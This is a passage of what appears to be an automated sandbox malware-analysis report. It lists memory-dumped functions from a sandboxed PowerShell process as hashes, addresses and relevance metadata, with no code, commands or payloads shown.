                                                            • Opcode ID: b3be9da3d5c2b1a7f262d3e04b7a33019a2b95fcfaf65d5d83a466e14168850a
                                                            • Instruction ID: b64e5e36a981363181fa5038d7b6925a244117118658bbc4718dccf2bb3af35d
                                                            • Opcode Fuzzy Hash: b3be9da3d5c2b1a7f262d3e04b7a33019a2b95fcfaf65d5d83a466e14168850a
                                                            • Instruction Fuzzy Hash: 93414134B042048FDB04EF68C564AAEBBF1EF8E315F298099E406AB355DB35DD41CB64
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348AFA8 Relevance: 1.3, Strings: 1, Instructions: 81COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: (&^q
                                                            • API String ID: 0-2067289071
                                                            • Opcode ID: 5742e31c17b7e9e0ad196f8e649db9de8dc525fd6902ab84aeee11ca61717eb8
                                                            • Instruction ID: 95a0913e3a8ec47ec5d29cd1b0641223f21383a558524916a0d7202c8ff3c32d
                                                            • Opcode Fuzzy Hash: 5742e31c17b7e9e0ad196f8e649db9de8dc525fd6902ab84aeee11ca61717eb8
                                                            • Instruction Fuzzy Hash: 1721E075A042588FCB14EFAED4007AEBFF5EF89320F14846AD518EB310CB759845CBA9
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348C4D0 Relevance: 1.3, Strings: 1, Instructions: 40COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: Bco^
                                                            • API String ID: 0-475309855
                                                            • Opcode ID: 01f00ecdb135d4bc18cb114f498db298e00d520f6c22c8c027dd281902d041c2
                                                            • Instruction ID: 0d5e94b8cd9ee9b84abb9742a3c24d3e4c515b3d45d9380a63493c2c0abe9c69
                                                            • Opcode Fuzzy Hash: 01f00ecdb135d4bc18cb114f498db298e00d520f6c22c8c027dd281902d041c2
                                                            • Instruction Fuzzy Hash: F6F0AF356042445FC311E728958096EBBA6EFC22247158ABEC24A8F335DB719C8EC7A4
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348C4E0 Relevance: 1.3, Strings: 1, Instructions: 32COMMON
                                                            Download Yara Rule
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID: Bco^
                                                            • API String ID: 0-475309855
                                                            • Opcode ID: f28780de91ec9d1db400975f0d6db03c31268f6ad745d3e1eff524cf21e9c8dc
                                                            • Instruction ID: 7ec8cf3559a1a2285681cff93c516395b785bdfdd882f663b4f37df7447e8e89
                                                            • Opcode Fuzzy Hash: f28780de91ec9d1db400975f0d6db03c31268f6ad745d3e1eff524cf21e9c8dc
                                                            • Instruction Fuzzy Hash: 28F082352002045BC304E729D98095BF796EFC12157008A3DD20D8F724DF72AC8A87B4
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348E7B8 Relevance: .3, Instructions: 254COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: d496759e6e71b7a2afbc540c0ac1b30a10fcc02119acb7503f61ca77ce1b505e
                                                            • Instruction ID: c10cf97f1052e1bd3134d5c6717632e240d918784f29a2d584d720cb28ca044f
                                                            • Opcode Fuzzy Hash: d496759e6e71b7a2afbc540c0ac1b30a10fcc02119acb7503f61ca77ce1b505e
                                                            • Instruction Fuzzy Hash: 1A917F34B002158FCB14EF79D58456EBBF6BF88610B18446AE806EB365DF71DC82CB95
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 034829F0 Relevance: .2, Instructions: 208COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 7b5b841fdcc8f2b6081bf31b10f81a065dcfc68b30389682372bc92c1b8fc773
                                                            • Instruction ID: fff09f99bbb887f9d6933d0942e754c216a204e7bf9423e117a034192dea2377
                                                            • Opcode Fuzzy Hash: 7b5b841fdcc8f2b6081bf31b10f81a065dcfc68b30389682372bc92c1b8fc773
                                                            • Instruction Fuzzy Hash: E3917AB0A002098FCB15DF5DC5949AEFBB1FF48310B24899AD815AB3A5C736FC51CBA4
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03487728 Relevance: .2, Instructions: 156COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: f2297d71b97023438ad86fe417921486d39fb3b4d4984070f8406cde3f3b3051
                                                            • Instruction ID: 080b81a0bf0a1b05846f186298570ffc4658c587461fe3f999e5ed578ec01e86
                                                            • Opcode Fuzzy Hash: f2297d71b97023438ad86fe417921486d39fb3b4d4984070f8406cde3f3b3051
                                                            • Instruction Fuzzy Hash: 6B51B2343042059FD714EB69D854A2F7BEAFFC8254B2988AAE509CF355EB35DC01CBA0
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348BAD0 Relevance: .2, Instructions: 155COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 5cb6074773f3606376ba1e6ea8bbd4bf76a32101380d442200536396c87a247b
                                                            • Instruction ID: 2e3c38da44c62de2cf828386df3d06659ef4709e6574e8f13abe8070f50d7ce9
                                                            • Opcode Fuzzy Hash: 5cb6074773f3606376ba1e6ea8bbd4bf76a32101380d442200536396c87a247b
                                                            • Instruction Fuzzy Hash: A9611475E00248CFCB14DFA9D584A8DFBF1EF89310F18816AE819AB364DB749885CB64
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348BAC0 Relevance: .2, Instructions: 152COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: cfeb250cf70c3c623a260168fd8a4f952b226e20170397ee638e6a848d48a43b
                                                            • Instruction ID: a90adb2fc9093e5a96a387e7f5773609a539f65bd2913735d0b899a008f52fd4
                                                            • Opcode Fuzzy Hash: cfeb250cf70c3c623a260168fd8a4f952b226e20170397ee638e6a848d48a43b
                                                            • Instruction Fuzzy Hash: 62510574E00248DFCB54DFA9D584A8DFBF5EF89310F18806AE819AB364DB709885CB64
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348E399 Relevance: .1, Instructions: 136COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 4dba2cc7b831acfeb5b304a7fb255c4b4e21c857385d86b9db4878859cad7889
                                                            • Instruction ID: 7e0039a4bc86ee49eb3c650c7f7f5d2ec7b25db43a6967d54b8498ab88027d49
                                                            • Opcode Fuzzy Hash: 4dba2cc7b831acfeb5b304a7fb255c4b4e21c857385d86b9db4878859cad7889
                                                            • Instruction Fuzzy Hash: 004175347002058FCB10EF6CC59492EBBE6EFC831471985AAE549CF369EB74EC458B91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348E3A8 Relevance: .1, Instructions: 130COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: a368a9a21319fd90ae4172a308492c23ec98579c8975c8b0ea86fbd319842a0f
                                                            • Instruction ID: 5b8d208963a0b4eebfe99845aea212c07bf5058f1516367acccfcee1f4ce337e
                                                            • Opcode Fuzzy Hash: a368a9a21319fd90ae4172a308492c23ec98579c8975c8b0ea86fbd319842a0f
                                                            • Instruction Fuzzy Hash: 9C4176347102058FCB10EF6CC59492EBBEAEF88314B158469F549CF369DB74EC458BA1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 07AA3CCC Relevance: .1, Instructions: 123COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2109688683.0000000007AA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07AA0000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_7aa0000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: b7d9e3293a85a2cdece06dfa0ae9c2e931cc120d54045263c52e12407391e7c7
                                                            • Instruction ID: 1bedf67aea5ef9311a4806ed1cffcc7789e96188bd374466662b712f9962aafd
                                                            • Opcode Fuzzy Hash: b7d9e3293a85a2cdece06dfa0ae9c2e931cc120d54045263c52e12407391e7c7
                                                            • Instruction Fuzzy Hash: 0741D5F1A01202EFDF258F28C901676BBF2AFD1214F1484A5E9248F265D735DD45CBA5
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03482B00 Relevance: .1, Instructions: 107COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 9d3bbc30f79a19a97b9f57bde52f4d35cebdd2bc6588c9cd9ec97d0f061c1d50
                                                            • Instruction ID: b957bb85bc1b70d40c3e306426fa092a045d07292d3f6e75293a93fe5f28aaaf
                                                            • Opcode Fuzzy Hash: 9d3bbc30f79a19a97b9f57bde52f4d35cebdd2bc6588c9cd9ec97d0f061c1d50
                                                            • Instruction Fuzzy Hash: 6B4125B0A005059FCB05DF58C6989AEFBB1FF48310B15859AD815AB364C776FC91CFA4
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348C398 Relevance: .1, Instructions: 101COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 27aa7f08867306e73c84aa28088a1a9756ac0b99cee3a529a619f2e38f11ebe6
                                                            • Instruction ID: 3711b17cdcd316df42fc3d84c9cd14529d6c1661a722822d0073609c0bc5c21d
                                                            • Opcode Fuzzy Hash: 27aa7f08867306e73c84aa28088a1a9756ac0b99cee3a529a619f2e38f11ebe6
                                                            • Instruction Fuzzy Hash: 413181353006019FD705EB79E894A5EF796EFC4211F04853AD60ACB365DF719C4A8BA1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03486FB9 Relevance: .1, Instructions: 95COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 4b80c8fddd35d7467c398a4cd4ad8e0985172226a749c27b18b721409163ad59
                                                            • Instruction ID: f29ed0f163ee072395c03152eaa5852afaf79912f496bd100c13775f29e3a263
                                                            • Opcode Fuzzy Hash: 4b80c8fddd35d7467c398a4cd4ad8e0985172226a749c27b18b721409163ad59
                                                            • Instruction Fuzzy Hash: F1313034B042058FDB14DF64C568AAEBFF1AF8E315F298099E406AB355DB31DC41CB64
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348E40B Relevance: .1, Instructions: 94COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 066878afde6282054a2965be9ebf291e31f8bed80303ed6d9acda6c2eb00f9b9
                                                            • Instruction ID: 830d83e26cb717cfc9a63e2a24753fa1831e734d9ee8438db42509d755d25445
                                                            • Opcode Fuzzy Hash: 066878afde6282054a2965be9ebf291e31f8bed80303ed6d9acda6c2eb00f9b9
                                                            • Instruction Fuzzy Hash: 7E314134B402058FCB10EF6CC69492EBBE6EF88314B15856AE459CF369EB74EC458B91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348AE70 Relevance: .1, Instructions: 93COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 422011645357572d7833e738a1e827273492b1908716e5c9e3e81064c1bddeba
                                                            • Instruction ID: 5319be11ea16e45b0f4b2a8285c50418b8651acd4fb6468d391edae9b3fba1d0
                                                            • Opcode Fuzzy Hash: 422011645357572d7833e738a1e827273492b1908716e5c9e3e81064c1bddeba
                                                            • Instruction Fuzzy Hash: 79315C74E002099FCB04EB69D4947AEBBF6EF89350F14806BE505EB354EBB48841DB69
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348BCF0 Relevance: .1, Instructions: 89COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: d72a5fd4d6fb9f185b8cac25cab06298dedc285a4666ca20d532078200958bbd
                                                            • Instruction ID: dea6194c7a32d60ed925a0fc1a8627509edd7db86691ab71f704e2f8e38c70e4
                                                            • Opcode Fuzzy Hash: d72a5fd4d6fb9f185b8cac25cab06298dedc285a4666ca20d532078200958bbd
                                                            • Instruction Fuzzy Hash: C931B0345083819FDB25EB78D44469ABFF0EF06314F1884AED09ACB6A2D771A809CB41
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348AD38 Relevance: .1, Instructions: 88COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 4416ecc34b62a62688dd650f579262d9dabdac2b0824d7b13f4b2e8cd306a70f
                                                            • Instruction ID: 4626d46b21b1451f3910bacab4f82134366b505a677bce99151b9b96b3941ce2
                                                            • Opcode Fuzzy Hash: 4416ecc34b62a62688dd650f579262d9dabdac2b0824d7b13f4b2e8cd306a70f
                                                            • Instruction Fuzzy Hash: D93196B8A003059FDB04EB64D454ABFBBB2EF85300F1584AAD214AF3A5DB749D45CB51
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348DFC8 Relevance: .1, Instructions: 87COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 8de92786205cc9755f8596f9bfb3822ebef238f66592987533fa7f8fa4a3920f
                                                            • Instruction ID: b46e7976f18a3b8a7d1030dd459fdb64d3f48666dba4751216770e062d3168fd
                                                            • Opcode Fuzzy Hash: 8de92786205cc9755f8596f9bfb3822ebef238f66592987533fa7f8fa4a3920f
                                                            • Instruction Fuzzy Hash: 99317274A002088FCB14EF69D46869EBBF2FF49214F14846ED506EB3A5DF71AC85CB94
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348AE80 Relevance: .1, Instructions: 84COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 663bd846783dafcea88dda3c994218961cfe62226b8ed6434776b50ffff92f51
                                                            • Instruction ID: 75e88bc2b1c8ea254a59ce1b4b2d39f59d0438c2dcb6e679734dfdb344cd5812
                                                            • Opcode Fuzzy Hash: 663bd846783dafcea88dda3c994218961cfe62226b8ed6434776b50ffff92f51
                                                            • Instruction Fuzzy Hash: D8315074E012099FCB04EF69D4947AEBBF6EF89310F14806BE505EB354EBB48C419B69
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348DFD8 Relevance: .1, Instructions: 77COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 5a8102eb67ebab70a5db4c135d3ab2c0acb899c1a019220e75d87efe4248f2c7
                                                            • Instruction ID: ade2277deaa058720f10239de9dd524b119f5cec89bde9e77069fb2f1dc1d094
                                                            • Opcode Fuzzy Hash: 5a8102eb67ebab70a5db4c135d3ab2c0acb899c1a019220e75d87efe4248f2c7
                                                            • Instruction Fuzzy Hash: 67313E74A002188FCB14EF69D45869EBBF2FF89214F14856ED406EB3A1DF71AC85CB94
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348AD48 Relevance: .1, Instructions: 77COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: a845b259daf978394f5971cdaae7650094810e2613ab3c025eaa5e0738b72058
                                                            • Instruction ID: 8e3bbfd06654a283132dab2bc009778cd48a144e859483e19fa7f7e9ad067b23
                                                            • Opcode Fuzzy Hash: a845b259daf978394f5971cdaae7650094810e2613ab3c025eaa5e0738b72058
                                                            • Instruction Fuzzy Hash: A13130B8E002099FDB04EFA4D494ABEB7B2EF84300F118469D615AF3A5DB759D858F90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0326F3D8 Relevance: .1, Instructions: 76COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2080860568.000000000326D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0326D000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_326d000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 75f56f1a7a906a780b65399bb0173d576c251075bd1aad2f241f911d3d21d1a4
                                                            • Instruction ID: c3ea4cdb88493e45667c60c9d5963584ff8b0b2485ba2b34ba1bfb14c54baf30
                                                            • Opcode Fuzzy Hash: 75f56f1a7a906a780b65399bb0173d576c251075bd1aad2f241f911d3d21d1a4
                                                            • Instruction Fuzzy Hash: 38212475518240EFCF05DF14EAC0B26BF65FF88314F24C5A9EA094A656C336C4D6CBA1
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 034893F8 Relevance: .1, Instructions: 76COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 9e182dd987b702c250824e49171467d5dfbc15850c47830edc76016e37484d79
                                                            • Instruction ID: 2bc2a31d4524ea49d5423f1a40ceefaf534999c968b9d342434559fcee300372
                                                            • Opcode Fuzzy Hash: 9e182dd987b702c250824e49171467d5dfbc15850c47830edc76016e37484d79
                                                            • Instruction Fuzzy Hash: B531A9749057448EDB60DF6AD0883AEFFF6EF88320F28C06ED8599B315D774A4818B65
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0326F02C Relevance: .1, Instructions: 72COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2080860568.000000000326D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0326D000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_326d000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 8ad882d073a1d19f01e2aaed67839033850fa569ca0e53ae5b50e4382778e4f1
                                                            • Instruction ID: 6f395c2086cee5030d7f7237f46fafb5df0b2a1f97deb6e1eb779558d40b0fc0
                                                            • Opcode Fuzzy Hash: 8ad882d073a1d19f01e2aaed67839033850fa569ca0e53ae5b50e4382778e4f1
                                                            • Instruction Fuzzy Hash: C8213471514640EFCF10DF24EAC0B26BFA5EF88314F24C5ADD8094B25AC37AD4C6CA61
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03489408 Relevance: .1, Instructions: 69COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 6b0b23e6b059a3e71d725b16c5fcf0f2b10eb8e77650b2f79e9da0816eb25400
                                                            • Instruction ID: 106f24f4f5e590cc2a426c0de588c01e0e99dd3560a7f1c688e7805b1734a193
                                                            • Opcode Fuzzy Hash: 6b0b23e6b059a3e71d725b16c5fcf0f2b10eb8e77650b2f79e9da0816eb25400
                                                            • Instruction Fuzzy Hash: 3D218874905B448FDB60DF6AD08839AFBF6EF88320F28C46ED85D9B315C77464818B64
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 03487664 Relevance: .1, Instructions: 62COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: b27336120a542450cb4bcf6f44a92f6f83de537e5559ca83c08eda6e27caa141
                                                            • Instruction ID: 24db18c5daf1af8a43281dfca77fc561e80fd81a6012b8663d592f0fc6811c1b
                                                            • Opcode Fuzzy Hash: b27336120a542450cb4bcf6f44a92f6f83de537e5559ca83c08eda6e27caa141
                                                            • Instruction Fuzzy Hash: D4112B3A7002188FCF04EFACD950ADE7BF6EBC8225B1540A5E509EB364DB35DC558B90
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0326F3D3 Relevance: .1, Instructions: 57COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2080860568.000000000326D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0326D000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_326d000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: ac59097383679d3c36945f3a55f47b1b34a77431d90e23eb4db771cfbaa4427a
                                                            • Instruction ID: ee161086b52057dbdd58bb0ad71410a28f40ce148ed3b81b8b1a2d6885221abf
                                                            • Opcode Fuzzy Hash: ac59097383679d3c36945f3a55f47b1b34a77431d90e23eb4db771cfbaa4427a
                                                            • Instruction Fuzzy Hash: E2216A76504241EFCF06CF14DAC4B16BF72FB88214F28C5A9D9494A656C33AD4AACB91
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0326F027 Relevance: .1, Instructions: 53COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2080860568.000000000326D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0326D000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_326d000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: e9867b41209b1ae96989907f61c5f808f60e730aab7477091df5884716147213
                                                            • Instruction ID: 9a21a002339479e9986ba7df1db12895bbacc8b85900408b7177ee22b41d6007
                                                            • Opcode Fuzzy Hash: e9867b41209b1ae96989907f61c5f808f60e730aab7477091df5884716147213
                                                            • Instruction Fuzzy Hash: 06119075504680DFDB15CF14D6C4B15FF61FF44314F28C6AAD8494B656C33AD48ACB51
                                                            Uniqueness

                                                            Uniqueness Score: -1.00%

                                                            Function 0348DCE1 Relevance: .0, Instructions: 50COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000008.00000002.2082807371.0000000003480000.00000040.00000800.00020000.00000000.sdmp, Offset: 03480000, based on PE: false
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_8_2_3480000_powershell.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 23cb74dd823c4e0e6e178881029cf0d48735bd1fc22ef4ddc10e07ecf389d74c
                                                            • Instruction ID: 5b6c007fa0854e2c6ed406c994d971a990b2feeebf78c4541383584daf8e2c5f
                                                            • Opcode Fuzzy Hash: 23cb74dd823c4e0e6e178881029cf0d48735bd1fc22ef4ddc10e07ecf389d74c
